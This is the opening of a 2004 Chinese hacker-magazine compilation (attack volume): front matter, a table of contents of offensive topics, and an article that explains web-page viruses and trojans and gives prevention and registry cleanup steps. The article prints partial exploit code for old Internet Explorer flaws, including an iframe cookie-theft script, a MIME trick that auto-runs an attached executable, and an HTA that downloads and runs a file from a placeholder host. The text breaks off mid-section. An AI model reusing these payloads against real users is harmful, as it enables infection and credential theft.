黑客防线 2004

精华奉献本（攻册）

《黑客防线》编辑部　编

150个全程攻防录像演示
助您成为高手

150个黑客高手倾情力作
各有千秋

200篇精心挑选的精彩文
章使您爱不释手

200种攻击防范案例分析
使您一饱眼福

人民邮电出版社
POSTS & TELECOM PRESS

黑客防线 2004

精华奉献本（攻册）

《黑客防线》编辑部　编

人民邮电出版社

图书在版编目（CIP）数据

《黑客防线》2004 精华奉献本／《黑客防线》编辑部编．
—北京：人民邮电出版社，2003.11
ISBN 7-115-11937-6

Ⅰ.黑… Ⅱ.黑… Ⅲ.计算机网络—安全技术
Ⅳ.TP393.08

中国版本图书馆 CIP 数据核字（2003）第 101810 号

内容提要

《黑客防线 2004 精华奉献本》是在《黑客防线》杂志攻、防两册明确定位后推出的第一个精华本，汇总了从《黑客防线》总第 25 期到总第 36 期的精华内容，并且增加新的专题内容融合而成。全书按照攻防关系分为攻册和防册 2 本，内容通俗易懂，图文并茂，非常便于读者阅读。在栏目划分上，选取了《黑客防线》最受读者欢迎的 15 个栏目，特别是漏洞攻击、脚本攻击、黑兵器库和漏洞攻击防范、脚本攻击防范、黑器攻击防范 6 个栏目一一呼应，攻防分明，非常适合读者学习和研究。

本书附赠 2 张光盘。光盘内容包括书中涉及到的不便于书面印刷的所有代码和大量流行的经典工具、技术文献、最新补丁，以及 150 个全程攻防录像演示。

本书适合网络管理人员、网络爱好者和网络安全技术人员阅读。

黑客防线 2004 精华奉献本（攻册）

编　　：《黑客防线》编辑部
责任编辑：魏雪萍

出版发行：人民邮电出版社发行　北京市崇文区夕照寺待 14 号 A 座（100061）
读者热线：（010）62141445-8031
印　　刷：中煤涿州制图印刷厂
经　　销：全国各地新华书店

开　　本：787 × 1092　1/16
印　　张：36
字　　数：2800 千字
2003 年 11 月第 1 版　　2003 年 11 月北京第 1 次印刷

ISBN 7-115-11937-6/TP · 3764

全套定价：35.00 元（附双光盘）

本书如有印刷质量问题（错页、掉页、残页等），请您与我们联系，我们负责掉换。
联系电话：（010）62141445-8011　E-mail：yougoubu@hacker.com.cn

致读者的话

由于中国文化对“黑”赋予了传统的贬义思维，“黑客（Hacker）”曾经在一定程度上成为网络犯罪的代名词。然而，黑客作为计算机网络空间一种十分复杂的社会存在，远不是一些人们的“黑色”思维所能包容得了的。它有着自身发生和发展的固有规律。我们有必要对这一社会现象进行深入的研究，并在此基础上引导人们客观地加以对待，从而促进网络社会的健康发展。其实每一名黑客手里都拿着双刃剑。一方面，他们造成网络瘫痪，数据丢失，给经济造成数以亿计、十亿计、百亿计甚至千亿计的巨大损失；另一方面，也可以说，没有“黑客”的“胆大妄为”，就没有网络防护技术的不断升级和突飞猛进，谁也不能否认他们对信息技术飞速发展所做出的具有特殊意义的贡献。可见，我们不能把黑客一棍子打死，而应根据不同的情况，区别对待。

《黑客防线》作为网络及计算机安全普及性电子媒体，致力于中国网络安全和计算机安全事业。杂志不仅仅介绍“黑客”攻防技术，还力图和广大读者朋友共同营造健康的中国黑客文化。在3年的杂志出版过程中，我们介绍了最新的安全资料，关注最新的安全攻防技术，努力让读者能够学习到最新最实用的黑客攻防技术，明白什么是真正的黑客，什么是黑客精神，什么是骇客（Cracker），他们和黑客的区别是什么。同时，《黑客防线》本身也在不停地进步发展，我们经过多次策划、改版，再策划、再改版，内容上最后精确定位在攻、防两册上，目的是想让每个读者都能分清攻和防的微妙关系，理解没有攻击就谈不上防御，没有防御的攻击就没有任何意义，真正明白攻防一体的安全定律。

同时，经过3年多的时间，和我们一起成长起来的读者也不计其数。如今，当年相当多的读者现在已经小有成就，在一些领域内具有扎实的技术，也成了我们最好的作者群体，并一如既往地支持我们，关注我们。诚如一些读者所说，在“黑客”这个圈子内，《黑客防线》是最早关注网络安全，为读者导航护驾的媒体之一，在当时资源有限的情况下，为广大读者解答了大量的技术难题。广大读者十分关心和支持《黑客防线》，经常指出我们的不足，提出改进意见。可以说我们有今天的成绩，与这些关注我们的读者是分不开的。正是广大的读者朋友和广大的作者群体给我们的支持，给我们的信心，才使得我们的刊物越办越好，影响越来越大。

为了系统地介绍黑客攻防技术，我们决定出版精华本，本次精华本内容是近200个精英作者的优秀作品，并经过编辑人员再次编排、加工，挑选最受读者欢迎的栏目精心制作而成的。虽然内容以技术为主，但是我们相信读者一定明白“黑客技术”是一把双刃剑，在造就网络安全的同时，如果不能正确对待，最终将砍伤自己。所以请读者朋友一定加强法制观念，本着学技术、搞研究的态度，走向捍卫网络安全，提高网络防御的正道，而不要沦入破坏、入侵，从事网络犯罪，甘为“骇客”的邪道。

最后，我们再次感谢广大读者对我们的支持，感谢人民邮电出版社同我们的再次合作，使得更多的读者可以看到我们的图书，也希望广大读者有什么疑难问题来我们的论坛（http://www.hacker.com.cn/newbbs/）提出，我们在线编辑人员会在第一时间为您答疑，帮您解决故障，确保一份相对的安全。

黑客防线2004精华奉献本（攻册）目录

※ 最新奉献

网页病毒、网页木马深度剖析以及手工清除 1

※ 特别专题

IE黑客常见攻击方法揭秘 14
后门程序的隐藏 19
代理服务器总汇与肉鸡制作实例 25
给动态肉鸡加固定地址——花生壳后门实战 32
在DCOM RPC漏洞中前进 37
透视RPC DCOM第二个接口漏洞 43
病毒VS蠕虫谁更上层楼 50

※ 漏洞攻击

利用WEBDAV漏洞结合终端服务入侵远程主机 56
自做Honeypot实现Webdav漏洞安全入侵及配置 59
“黑客”与系统管理员的较量 61
利用IIS缺陷配置ASP后门 68
绕过SyGate Pro个人防火墙的攻击 70
杀毒软件能耐我何——利用NTFS数据流制作木马后门 73
利用rpc 轻松攻击Linux主机 76
无坚不摧的杀手锏——利用Windows帮助文件漏洞运行木马 79
警惕!来自客户端的威胁—IE Object Data远程运行恶意代码漏洞 80
免费才是我们的最爱—从免费电影下载到免费发送短信 81
Discuz论坛短消息未限制发送次数缺陷 84
为什么被忽视的总是我——浅谈Web攻击 85
在肉鸡上构建一个完美的虚拟主机 89

分析从FTP发动的攻击 92

※ 脚本攻击

SQL Injection攻击技术 96
常见ASP程序漏洞——逻辑错误篇 104
利用ASP口令验证漏洞突破网页验证限制限制 108
针对PHPBB2.0.0论坛漏洞的测试 111
一次简单post攻击的例子 114
LB5K论坛多个管理文件存在管理员验证可绕开漏洞 115
LB5K论坛search.cgi文件漏洞再现 118
WDB及其各个美化、改良版均存在严重漏洞 120
YUZI BBS3000论坛安全性分析 123
进入攻防实验室的又一捷径——妙用BBS3000另一重大安全隐患 125
4个有问题的LB文件 128
Discuz!论坛安全分析 131
动网论坛6.0版+SP2的严重漏洞攻击篇 134
动网论坛漏洞归来 136
免费体验Chinaren校友录的多彩留言 138
ReleaseEasy 2想说安全不容易 139
利用漏洞轻松攻击约稿奇兵 141
从填空游戏到最高权限——几乎完美的注入攻击实例 143

※ 黑兵器库

倚天不出谁与争锋——NetXRay简介与应用 148
3款值得推荐的扫描器 152
ETTERCAP——交换环境下的嗅探器 154
Linux下的CGI漏洞扫描兄弟：Whisker与Malice 158
广外女生变男生 ——木马“广外男生”使用和分析 162
BITS难以觉察的后门 165
IP代理自己找 168
用Ssso批量制作代理服务器 170
如何找出管理员的密码 172
字典工具也疯狂 174
无共享主机的长期控制方法——上传下载、突破防火墙与后门架设 177
拨号也来玩嗅探---Commview的使用 180

Arp Sniffer 与 Arp 欺骗 182
基于 T-SysCmd-1.0 的权限提升使用实例 184
灰鸽子 2003 试用手记 185

※ 编程解析

编写自己的 QQ 代理服务器 187
VB 做个自己的 NC 191
打造自己的文件动态监控器 194
送自己一对电子眼 - 计算机扫描技术编程解析 196
Perl 编写密码破解工具 DIY 199
写个简单的 Telnet 后门软件 201
用 C 实现克隆账号 205
如何实现根据用户配置生成木马服务器端 208
打造自己的键盘记录软件 210
用 c# 打造一个文件系统监视器 213
编写一个能种植后门的程序 215
利用 UDP 编写远程控制程序 217
查看本机连接的方法 219
挑战 VB“不可能完成的任务”——VB 编写 Flooder 221
XP 内核 DIY 222

※ 密界寻踪

探索 Ollydbg 的“十全武功” 226
TRW2000 得心应手密技五则 229
DEBUG 你知多少? 231
使用 DEBUG 来实现 CRACK 233
用 WKTVBdebugger 来注册 P-Code 保护的程序 236
妙用 Regshot 破解软件使用次数限制 239
Netscan Pro 3.3 注册算法分析全过程 241
一分钟得到木马终结者的注册码 244
撰稿人宝典破解 245
揪出隐藏在 IE 天使中的万能注册码 248
一款 pdf 转换工具的破解 250
免费玩网游其实很容易—— Crack 技术在网络游戏中的应用 252

以神经网络为基础的一种数据序列加密方法 255

※ 网吧攻略

只为自由故 方想破网吧——突破网吧限制全攻略 258
网吧禁止下载文件终极突围6大法 264
突破禁止下载的另几招 266
网吧电脑使用权限的巧妙拓展 268
网吧中十二种常见限制的解决办法 270
网吧管理软件安全漏洞攻防 274
忘记还原精灵密码后的6种解决方法 278

※ 经验交流

手工删除DLL类型的特殊后门程序 280
Ping攻防心经 281
恢复XP管理员密码5奇招 284
由浅入深解析克隆账户 285
警惕“关联陷阱” 290
小心你的启动项 292
如何绕过登录密码进入Windows 98系统 294
网络新手IP地址随心变 296
如何榨取肉鸡的剩余价值 298
收费音乐随意听 299
永久的后门——替换系统服务的实现 301
如何有效地启动远程主机终端服务 303
打造XP下的PHP+MYSQL论坛 305
打造自己的网页木马 307
如何在Linux下建立一个拨入系统 309

在杀毒软件风靡全球的今天，各式各样的病毒仍然在网络上横行，其形式的多样化、自身之隐蔽性都大大的提高。其中，网页病毒和网页木马就是这个新型病毒大军中危害面最广泛，传播效果最佳的。之所以会出此篇，也是在考虑到太多的人都在网页病毒中“应声倒下”，却不知自己是如何中毒，以及中毒后如何去处理。就此问题，我们开始以下对网页病毒和网页木马这一“新概念”做个详细的剖析。

网页病毒和网页木马深度剖析以及手工清除

文／风清扬

一、恶意网页的基本常识

（一）什么是网页病毒

网页病毒是利用网页来进行破坏的病毒，它存在于网页之中，其实是使用一些SCRIPT语言编写的一些恶意代码利用IE的漏洞来实现病毒植入。当用户登录某些含有网页病毒的网站时，网页病毒便被悄悄激活，这些病毒一旦激活，可以利用系统的一些资源进行破坏。轻则修改用户的注册表，使用户的首页和浏览器标题改变，重则可以关闭系统的很多功能，例如装上木马，染上病毒，使用户无法正常使用计算机系统，严重者则可以将用户的系统进行格式化。而这种网页病毒容易编写和修改，用户防不胜防。

目前的网页病毒都是利用JS.ActiveX、WSH共同“合作”来实现对客户端计算机进行本地的写操作，如改写注册表，在本地计算机硬盘上添加、删除、更改文件夹或文件等操作。而这一功能却恰恰使网页病毒和网页木马有了可乘之机。

在分析网页病毒前，先介绍促使病毒形成的罪魁祸首：Windows 脚本宿主 和Microsoft Internet Explorer 漏洞。

（二）Windows 脚本宿主，Internet Explorer 漏洞以及相关

WSH，是“Windows Scripting Host”的缩略形式，其通用的中文译名为“Windows 脚本宿主”。对于这个较为抽象的名词，我们可以先作这样一个笼统的理解：它是内嵌于 Windows 操作系统中的脚本语言工作环境。

Windows Scripting Host 这个概念最早出现于 Windows 98 操作系统。大家一定还记得 MS-DOS下的批处理命令，它曾有效地简化了我们的工作，带给我们方便，这一点就有点类似于如今大行其道的脚本语言。但就算我们把批处理命令看成是一种脚本语言，那它也是 Widnows 98 版之前的 Windows 操作系统所惟一支持的“脚本语言”。而此后随着各种真正的脚本语言不断出现，批处理命令显然就很是力不从心了。面临这一危机，微软公司在研发 Windows 98 时，为了实现多类脚本文件在 Windows 界面或DOS命令提示符下的直接运行，就在系统内植入了一个基于 32 位 Windows

平台并独立于语言的脚本运行环境，并将其命名为“Windows Scripting Host”。WSH 架构于 ActiveX 之上，通过充当 ActiveX 的脚本引擎控制器，WSH 为 Windows 用户充分利用威力强大的脚本指令语言扫清了障碍。

WSH 也有它的不足之处，任何事物都有两面性，WSH 也不例外。应该说，WSH 的优点在于它使我们可以充分利用脚本来实现计算机工作的自动化；但不可否认，也正是它的这一特点，使我们的系统又有了新的安全隐患。许多计算机病毒制造者正在热衷于用脚本语言来编制病毒，并利用 WSH 的支持功能，让这些隐藏着病毒的脚本在网络中广为传播。借助 WSH 的这一缺陷，通过 JavaScript、VBScript、Activex 等网页脚本语言，就形成了现在的“网页危机”。

促使这一问题发生的还有Internet Explorer 的自身漏洞。比如：“错误的MIME Multipurpose Internet Mail Extentions，多用途的网际邮件扩充协议头”，“Microsoft Internet Explorer 浏览器弹出窗口Object类型验证漏洞”。而以下介绍的几个组件存在的问题或漏洞或是在安全问题上的过滤不严密问题，却又造成了“网页危机”的另外一个重要因素。

* Java 语言可以编写两种类型的程序：应用程序(Application)和小应用程序(Applet)。应用程序是可以独立运行的程序，而 Applet 不能独立运行，需要嵌入 HTML 文件，遵循一套约定，在支持 Java 的浏览器(如：Netscape Navigator 2.02 版本以上，HotJava，Microsoft Internet Explorer 3.0 版本以上)运行，是 Java 一个重要的应用分支，也是当时 Java最令人感兴趣的地方(它一改网页呆板的界面)，就是在WWW网页(Home Page / Pages)设计中加入动画、影像和音乐等，而要达到这些效果使用最多的是Java Applet和Java Script (这是一种Java的命令语言)。

* JavaScript是一种基于对象(Object)和事件驱动(Event Driven)并具有安全性能的脚本语言。使用它的目的是与HTML超文本标记语言、与Web客户交互作用，从而可以开发客户端的应用程序等。它是通过嵌入或文件引用在标准的HTML语言中实现的。它的出现弥补了 HTML 语言的缺陷，它是 Java 与 HTML 折衷的选择，具有基于对象、简单、安全和动态和跨平台性等特性。

* ActiveX 是 Microsoft 公司提出的一组使用 COM(Component Object Model，部件对象模型)使得软件部件在网络环境中进行交互的技术。它与具体的编程语言无关。作为针对 Internet 应用开发的技术，ActiveX 被广泛应用于 Web 服务器以及客户端的各个方面。同时，ActiveX 技术也被用于方便地创建普通的桌面应用程序。在 Applet 中可以使用 ActiveX 技术，如直接嵌入 ActiveX 控制，或者以 ActiveX 技术为桥梁，将其他开发商提供的多种语言的程序对象集成到 Java 中。与 Java 的字节码技术相比，ActiveX 提供了“代码签名”(Code Signing)技术保证其安全性。

(三) 网页病毒的攻击方式

既然是网页病毒，那么简单地说，它就是一个网页，甚至于制作者会使这个特殊网页与其他一般的网页别无他样。但在这个网页运行到本地时，它所执行的操作就不仅仅是下载后再读出，伴随着前者的操作背后，还有这病毒原体软件的下载，或是木马的下载，然后执行，悄悄地修改你的注册表……那么，这类网页都有什么特征呢?

1．美丽的网页名称，以及利用浏览者的无知

不得不承认，很多恶意网页或是站点的制作者，他们对浏览者的心理分析是下功夫的，对域名的选择和利用绝对是很到位的。很多上网的男性网民大都对MM照片感兴趣，这就是他们利用的一个渠道。如你看到了一个域名：www.lovemm.com，或是 http://plmm.yeah.net等，你会动心去看么。如果不会，再看这个域名：http://e3i5.yeah.net/images/mm/plmm001.gif 这个地址你会去看么?很显然，乍一看，图片！一张可能是MM的图片，懂

点安全知识的人来说，放心，它不可能是BMP图片木马，你用这个地址打开一定是张.GIF格式的图片。好，你可以去尝试一下。再看另外一个域名，很显然是经过构造的。http://www.sina.com.cn@e3i5.yeah.net/images/mm/plmm001.gif 你还能“火眼金睛”吗？不知道结果是什么，那你就放心地去点击它试试。

2.利用浏览者的好奇心

在这里我要说一句话，这样的人中毒也是自找。对什么都要好奇这可不是个好习惯。有些东西不是你想看就可以去看的。[作者注]有这个习惯的都改改，^_^!

3.无意识的浏览者

这类人，对他们的遭遇，我们表示同情。

在我们基本了解了网页病毒和网页木马的运行机体环境后，让我们开始重点分析一下网页病毒是如何对计算机进行攻击，染毒，并自我保护的。

二、网页病毒、网页木马机理深度剖析

（一）网页病毒和网页木马的制作方式

1.Javascript.Exception.Exploit

利用JS+WSH的完美结合，来制作恶意网页的方法几乎是所有恶意站点必有的“功能”。

2.错误的MIME Multipurpose Internet Mail Extentions（多用途的网际邮件扩充协议头）

几乎是现在网页木马流行利用的基本趋势，这个漏洞在IE5.0到IE6.0版本中都有，对这么一个全能的漏洞，大家怎能不重视？

3..EXE to .BMP + Javascritp.Exception.Exploit

具体的.EXE转化到.BMP的文章我想大家都见到过，而且不只一次。应用方法很简单：诱骗浏览者上当。

4. iframe 漏洞的利用

当微软的IE窗口打开另一个窗口时，如果子窗口是另一个域或安全区的话，安全检查应当阻止父窗口访问子窗口。但事实并非如此，父窗口可以访问子窗口文档的frame，这可能导致父窗口无论是域或安全区都能在子窗口中设置Frame或IFrame的URL。这会带来严重的安全问题，通过设置URL指向Javascript协议，父窗口能在子域环境下运行脚本代码，包括任意的恶意代码。攻击者也能在“我的电脑”区域中运行脚本代码。这更会造成严重的后果。

5.通过安全认证的CAB,COX

此类方法就是在.CAB文件上做手脚，使证书.SPC和密钥.PVK合法。

原理：IE读文件时会有文件读不出，就会去“升级”这样它会在网页中指定的位置找 .cab 并在系统里写入个CID读入.cab里的文件。

方法：.cab是Windows里的压缩文件，我们知道IE里所用的安全文件是用签名的CAB也不例外，所做的CAB是经过安全使用证书引入的。也就是说IE认证攻击，之所以每次都能入侵电脑，是因为它通过的是IE认证下的安全攻击，这样不管我怎么做都没办法。

6.EXE文件的捆绑

现在的网页木马捆绑机开始泛滥了，多得数不胜数。再将生成的MHT文件进行加密，好，这样一来，连我们最信任的杀毒软件也无效了。

（二）网页病毒和网页木马的运行机理分析

1.Javascript.Exception.Exploit

```
精华语句：<APPLET HEIGHT=0 WIDTH=0
code=com.ms.activeX.ActiveXComponent></
APPLET>
Function destroy(){
try
{
```

```
//ActiveX initialization 初始化ActiveX，为修改注册表做准备
a1=document.applets[0];
// 获取applet运行对象，以下语句指向注册表中有关IE的表项
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
开始做坏事
}
}
catch(e)
{}
}
catch(e)
{}
}
function do()
{
// 初始化函数，并每隔一秒执行修改程序
setTimeout("destroy()", 1000); //设定运行时间1秒
}
Do() //坏事执行函数指令
```

全部是JS编写，没有什么高深的技术，但它却可以把你的计算机注册表改得“乱七八糟”，在你的计算机里留下各式各样的垃圾，甚至于连声招呼都不打就格了你的硬盘。所列出的整段函数看起来简单明了，声明函数，初始化环境，取得注册对象，执行读、写、删权限，定义操作时间（快得连反映都没有）。

2. 错误的MIME Multipurpose Internet Mail Extentions（多用途的网际邮件扩充协议头）

```
精华语句：<! - - x.eml - - >
```

```
Content-Type: multipart/related;
type="multipart/alternative";
boundary="====B====="
--=====B====
Content-Type: multipart/alternative;
boundary="====A====="
--====A====
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable
<iframe src=3Dcid:Mud height=3D0 width=3D0>
</iframe>
--=====A=====--
--====B====
Content-Type: audio/x-wav;
name="run.exe"
Content-Transfer-Encoding: base64
Content-ID: <Mud>  ---以下省略AAAAA
N+1个---
```

把run.exe的类型定义为audio/x-wav，这下清楚了，这是利用客户端支持的 MIME(多部分网际邮件扩展，Multipart Internet Mail Extension)类型的漏洞来完成的。当申明邮件的类型为audio/x-wav时，IE存在的一个漏洞会将附件认为是音频文件自动尝试打开，结果导致邮件文件x.eml中的附件run.exe被执行。在Windows 2000上，即使是用鼠标点击下载下来的 x.eml，或是拷贝粘贴，都会导致x.eml中的附件被运行。整个程序的运行还是依靠x.eml这个文件来支持。Content-Transfer-Encoding: base64 Content-ID: <Mud> 从这我们可以看出，由于定义后字符格式为base64，那么以下的代码全部为加密过的代码，里面可以是任何执行的命令：

```
(script language=vbs)
On Error Resume Next · 容错语句，避免程序崩溃
set aa=CreateObject ("WScript.Shell") · 建立WScript对象
Set fs = CreateObject ("Scripting.FileSystemObject") · 建立文件系统对象
Set dir1 = fs.GetSpecialFolder (0) · 得到Windows路径
Set dir2 = fs.GetSpecialFolder (1) · 得到System路径
.....省略.....</script>
```

下面代码该做什么各位都该清楚吧。这就是为什么很多人中毒后不能准确地清除全部的病毒体的原因，也是很多杀毒软件的一个通病。病毒监控只杀当时查到的，新建的却置之不理。

3. iframe 漏洞的利用

(1) iframe 漏洞的利用一

```
<script language="jscript">
    onload=function () {
  var
    oVictim=open("http://url.url.com/url?
threadm=vir","OurVi-
    ctim","width=100,height=100");
  setTimeout(
function () {
    oVictim.frames[0].location.href="javascript:
alert(document.cooki
    e)";
},
7000
  );
    }
    </script>
```

多方便的办法，浏览者的COOKIES就这样轻松地被取走。

(2) iframe 漏洞的利用二

〈iframe src=run.eml width=0 height=0〉〈/iframe〉

常见的木马运用格式，高度和宽度为0的一个框架网页，我想你根本看不到它。除非你的浏览器不支持框架！

(3) iframe 漏洞的利用三

```
<object type="text/x-scriptlet" width="0"
height="0" data="test.html"></object>
```

又是一个框架引用的新方式，对type="text/x-scriptlet" 调整后，就可以实现和eml格式文件同样的效果，更是防不胜防。

4. Microsoft Internet Explorer 浏览器弹出窗口 Object 类型验证漏洞的利用

精华代码：

```
<object data="run.asp"></object>
------ code cut start for run.asp ------
<HTA:APPLICATION caption="no"
border="none" showInTaskBar="no"
windowState="minimize">
<object id='wsh' classid='clsid:F935DC22-1CF0-
11D0-ADB9-00C04FD58A0B'></object>
<script language="VBScript">
Dim fs, t
Set fs = CreateObject("Scripting.FileSystemObject")
// 注册组件 FSO
Set t = fs.CreateTextFile("ftp.txt",True)
t.WriteLine("userdown")
t.WriteLine("username")
t.WriteLine("usepassword")
t.WriteLine("get ie.exe c:\window.exe") //FTP
下载一个文件，并进行伪装
t.WriteLine("close")
t.WriteLine("quit")
t.Close
wsh.Run "ftp -n -s:ftp.txt URL.url.com",0,
true
wsh.Run "c:\window.exe" //下载完毕后就运
行
fs.DeleteFile "ftp.txt",true //下载列表文件用
完就删
window.close //窗口关闭，所有任务结束
</script>
------ code cut end for run.asp ------
```

[作者注] 我想，这个方法是现行的大部分木马网页中使用频率最高的一个。效果绝对是“最好”的。不管是你IE5.0，还是IE6.0，还是+SP1补丁。他们都敢大声说：IE6.0+SP1也不是万能的。

小结：

几乎所有类型的网页病毒都有一个特性，就是再生。让我们从注册表中的启动项开始分析。注册表中管理启动的主键键值分别为：

```
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
CurrentVersion\RunServices]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
CurrentVersion\RunServicesOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
CurrentVersion\Run]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\
```

```
CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\RunServices]
```

确认主键下没有加载任何分键值。另外，在启动配置器里的autoexec.bat、win.ini,system.ini以及在Windows 9x下的winstart.ini文件，其中的存在LOAD=键的，它的值是空，不是空格，只有=号。Autoexec.bat没有加载任何程序，在「开始」菜单\程序\启动文件夹下不存在任何程序，那样才能有效地去掉一个病毒的再生功能。不叫它开机运行，或者不再运行，那我们就可以把它从计算机上请出去。

（三）网页病毒和网页木马的运行效果分析

1.电脑中的默认主页会被无故更改，并且IE工具栏内的修改功能被屏蔽掉。

2.在电脑桌面上无故出现陌生网站的链接，无论怎么删除，每次开机都依旧会出现，如果单击鼠标右键，出现的工具栏中也会有大量陌生网站的链接。

3.开机后，无法进入DOS实模式；仅对Windows 9X 系统有效。

4.电脑桌面及桌面上的图标被隐藏。

5.注册表编辑器被告知“已锁定”，从而无法修改注册表。

6.上网之前，系统一切正常，下网之后系统就会出现异常情况，如系统盘丢失、硬盘遭到格式化等，查杀病毒后仍无济于事。

7.上陌生网站后，出现提示框“您已经被XX病毒攻击”，之后系统出现异常。

8.登录站点后，发现一个窗口迅速打开后又消失，自己的计算机系统文件夹内多了几个未知的好像是系统文件的新文件。

9.发现系统的进程中多了几个未知进程，而且杀不掉，重启后又会出现。

10.自己的计算机CPU利用率一直是高居100%，好像是在运行什么占用内存的东西。

11.登录某站点后，杀毒监控软件报警，并删除病毒文件，位置在IE的缓冲区。重新启动计算机后发现自己的IE被改掉了。而且发现第八、第九、第十种的现象。

12.发现中毒后，反复杀毒，病毒反复复发，根本没办法清理干净。尤其是IE的默认页。杀毒后修复完毕，但重新启动后又出现问题。

13.会不定时地弹出广告。

14.自己的私有账号无故丢失。

三、网页病毒、网页木马的基本预防手段

1．要避免被网页恶意代码感染，关键是不要轻易去一些自己并不十分知晓的站点，尤其是一些看上去非常美丽诱人的网址更不要轻易进入，否则往往不经易间就会误入网页代码的圈套。

2．由于该类网页是含有有害代码的ActiveX网页文件，因此在IE设置中将ActiveX插件和控件、Java脚本等全部禁止就可以避免中招。

具体方法是：在IE窗口中点击“工具”→“Internet选项”，在弹出的对话框中选择“安全”标签，再点击“自定义级别”按钮，就会弹出“安全设置”对话框，把其中所有ActiveX插件和控件以及Java相关全部选择“禁用”即可。不过，这样做在以后的网页浏览过程中可能会造成一些正常使用ActiveX的网站无法浏览。

3．对于Windows 98用户，请打开C:\WINDOWS\JAVA\Packages\CVLV1NBB.ZIP，把其中的“ActiveXComponent.class”删掉；对于WindowsMe用户，请打开C:\WINDOWS\JAVA\Packages\5NZVFPF1.ZIP，把其中的“ActiveXComponent.class”删掉。请放心，删除这个组件不会影响到你正常浏览网页的。

4．对Win2000用户，还可以通过在Windows 2000下把服务里面的远程注册表操作服务“Remote Registry Service”禁用，来对付该类网页。具体方法是：点击“管理工具→服务→Remote Registry

Service(允许远程注册表操作)”，将这一项禁用即可。

5．升级你的IE为6.0版本并装上所有的SP以及追加的几个小补丁，可以有效防范上面这些症状。

6．下载微软最新的Microsoft Windows Script 5.6。

7．安装病毒防火墙，一般的杀毒软件都自带．打开网页监控和脚本监控。

8．虽然经过上述的工作修改回了标题和默认连接首页，但如果以后某一天又一不小心进入这类网站就又得要麻烦了。这时你可以在IE浏览器中做一些设置以使之永远不能进入这类站点，具体为：

打开IE属性，点击“工具”→“Internet选项”→“安全”→“受限站点”，一定要将“安全级别”定为“高”，再点击“站点”，在“将Web站点添加到区域中”添加自己不想去的网站网址，再点击“添加”，然后点击“应用”和“确定”即可正常浏览网页了。

9．在注册表：

```
[HKEY-LOCAL-MACHINE\SOFTWARE\
Microsoft\Internet Explorer\ActiveX Compatiblity]
下为
[Active Setup controls]创建一个基于CLSID的新
建{6E449683-C509-11CF-AAFA-00AA00
B6015C}在新建下创建REGDWORD类型的值：
[Compatibility Flags 0x00000400]
```

可以间接地防止网页木马问题。

10．请经常升级你的杀毒软件病毒库，让它们能及时地查出藏在你计算机内的病毒残体，经常性地做全机的扫描检查。

11．推荐安装：IE6.0.2800.1106 + SP1 + 4个IE专项补丁。

四、网页病毒、网页木马的清理和手工清理

(一) 网页病毒、网页木马的一般清理

在病毒防治和查杀的第一选择，就是杀毒软件。不定期地升级你的病毒库，关注你所用的操作系统和浏览器的漏洞信息以及相关补丁的安装。当你进入一个恶意站点后注册表被改时，首先要做的不是盲目的去找杀毒工具，而是确认一下你自己所中的毒是否只是简单的修改注册表，如果是木马的话，你还在网络上飞来飞去，想想能不丢东西么？这就是为什么在文章的开头部分我们花了一部分篇幅进行恶意网页机理的介绍和说明。为的就是叫大家从道理上明白，所谓的恶意网页是通过什么样的途径，运行了什么样的代码执行出了什么样的效果。当然，你没必要去理解代码的全部含义，至少在查看一个页面原码时发现它，也知道它是做什么，而不去访问此页。再提一点，这样做并非是让每个人都去理解，去记忆。在这里我们也采用“让少数人先富起来”的政策。这样，那些GG才能在MM面前显示自己的“才能”。开个玩笑，转入正题，如何一般性地清理病毒？

1．到“网上助手”去清理。地址是：http://magic.3721.com。

2．使用杀毒软件杀毒。用你自己的杀毒软件来清除，记得要先升级。

3．使用一些专杀工具查杀。到一些杀毒软件站点去下载杀毒工具吧。

4．到本站的专业IE维护，是针对现在几个流行的网页病毒、网页木马站点修改注册表键值精心制作的。地址是：http://ie.e3i5.net

[作者注]请在使用网页IE修复时，最好进行两次修复，修复器采用的是_Dll插件+Javascript+ActiveX制作的，对系统的键值有检测功能，如果注册表项没有更改，修复系统会自动退出。

(二) 网页病毒、网页木马的一般手工清理

一般在网络不通或者不能上网的情况，可能会需要修改回注册表。这时以上的方法可能帮不上你任何的忙，怎么办？尝试下面推荐的办法，手工清理。

1．清除每次开机时自动弹出的网页

其实清除每次开机时自动弹出的网页方法并不难，只要你记住地址栏里出现的网址，然后打开注册表编辑器（方法是在点击“开始”菜单，之后点击"运行"，在运行框中输入regedit命令进入注册表编辑器），分别定位到：

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 和

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runonce下，看看在该子项下是否有一个以这个网址为值的值项，如果有的话，就将其删除，之后重新启动计算机。这样，在下一次开机的时候就不再会有网页弹出来了。不过网页恶意代码的编写者有时也是非常的狡猾，他会在注册表的不同键值中多处设有这个值项，这样上面提的方法也未必能完全解决问题。遇到这种情况，你可以在注册表编辑器的选项菜单里选择“编辑”→“查找”，在“查找”对话框内输入开机时自动打开的网址，然后点击“查找下一个”，将查找到的值项删除。另外，如果你是使用Windows 98的用户，可在“开始”菜单中的“运行”对话框内输入“msconfig”，点击“确定”，打开“系统配置实用程序”并打开“启动”选项卡，检查其中是否有非常可疑的启动项，如果有的话请将其禁用(在程序前的打上勾)，然后重启机器就可以了。如果你所使用的是Windows NT/2000的用户，可以把Windows 98下的“系统配置实用程序”复制过来并运行进行查找清除。

2．IE标题栏被修改

具体说来受到更改的注册表项目为：

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title

解决办法：

